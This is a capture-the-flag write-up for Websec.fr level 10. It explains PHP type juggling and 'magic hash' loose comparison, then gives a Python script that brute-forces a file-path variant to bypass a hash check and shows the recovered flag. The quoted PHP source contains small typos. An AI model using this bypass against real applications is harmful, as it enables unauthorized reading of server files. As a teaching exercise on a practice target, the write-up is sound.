Websec.fr level 10 - easy
The level
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if (isset ($_REQUEST['f']) && isset ($_REQUE['hash'])) {
$file = $_REQUEST['f'];
$request = $_REQUEST['hash']
$hash = substr (md5 ($flag . $file . $flag), 0, 8)
echo '<div class="row"><br><pre>';
if ($request == $hash) {
show_source ($file);
} else {
echo 'Permission denied!';
}
echo '</pre></div>';
}
?>
Ok, so what do we have here ? if ‘f’ and ‘hash’ is set in our data in the request we send, and the first 8 chars of the md5 of $flag + $file + $flag is equal to $request (which is ‘hash’) we will show the source file (which is obviously flag.php)
So, what is the catch ? Let’s talk about Type Juggling.
Type Juggling
PHP is a loosely typed language, which means it tries to predict the programmer’s intent and automatically converts variables to different types whenever it seems necessary. For example, a string containing only numbers can be treated as an integer or a float. However, this automatic conversion (or type juggling) can lead to unexpected results, especially when comparing variables using the ‘==’ operator, which only checks for value equality (loose comparison), not type and value equality (strict comparison).
Magic Hashes
Magic hashes arise due to a quirk in PHP’s type juggling, when comparing string hashes to integers. If a string hash starts with “0e” followed by only numbers, PHP interprets this as scientific notation and the hash is treated as a float in comparison operations.
So, basically, if we input in our request hash in the form 0e{some_numbers} then we also input a file that the first 3 chars is 0e then a number, they will be equal and will get the content of the flag. So starting with a basic script to check it’s possible.
Remember ! the only think we can change is the amount of / in ./flag.php
1
2
3
4
5
6
7
8
counter = 1
while True:
f = f".{'/' * counter}flag.php"
if str(hashlib.md5(f"abc{f}abc".encode()).hexdigest()).startswith("0e"):
print("Did it !!")
print(f)
break
counter += 1
Cool ! so it’s possible, let’s write full script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import hashlib
counter = 1
while True:
prefix = f".{'/' * counter}"
print(f"Trying {counter} times")
r = requests.post("http://websec.fr/level10/index.php", data={
'hash': "0e1",
'f': prefix + 'flag.php'
})
if "WEBSEC{" in r.text:
print(f"Did it !!! only after {counter} tries")
print(r.text)
break
counter += 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Trying 881 times
Did it !!! only after 881 tries
<!DOCTYPE html>
<html>
<head>
<title>#WebSec Level Ten</title>
<link rel="stylesheet" href="../static/bootstrap.min.css"/>
</head>
<body>
<div id="main">
<div class="container">
<div class="row">
<h1>LevelTen<small> - Awesome File Downloader.</small></h1>
</div>
<div class="row">
<p class="lead">
Here we have a <a href="source.php">cool file downloader</a>. It allows you to download arbitrary files, even <mark>flag.php</mark>,
as long as it's a legit request!<br>
Thanks to an <mark>anonymous contributor</mark> for this challenge.
</p>
</div>
</div>
<div class="container">
<div class="row">
<form name="username" method="post" class="form-inline">
<div class="form-group">
<label for="f">File</label>
<span class='text-success'></span>
<input type="text" class="form-control" required id="f" value="index.php" name="f">
</div>
<div class="form-group">
<label for="hash">Secret hash</label>
<input type="text" class="form-control" required id="hash" value="b4382d64" name="hash" >
</div>
<button type="submit" class="btn btn-default">Get!</button>
</form>
</div>
<div class="row"><br><pre><code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />$flag </span><span style="color: #007700">= </span><span style="color: #DD0000">"WEBSEC{Lose_typ1ng_system_are_super_great_aren't_them?}"</span><span style="color: #007700">;<br /></span>
</span>
</code></pre></div> </div>
</div>
<link rel="stylesheet" href="../static/bootstrap.min.js"/>
</body>
</html>
1
WEBSEC{Lose_typ1ng_system_are_super_great_aren't_them?}
Great ! Thanks for reading !!!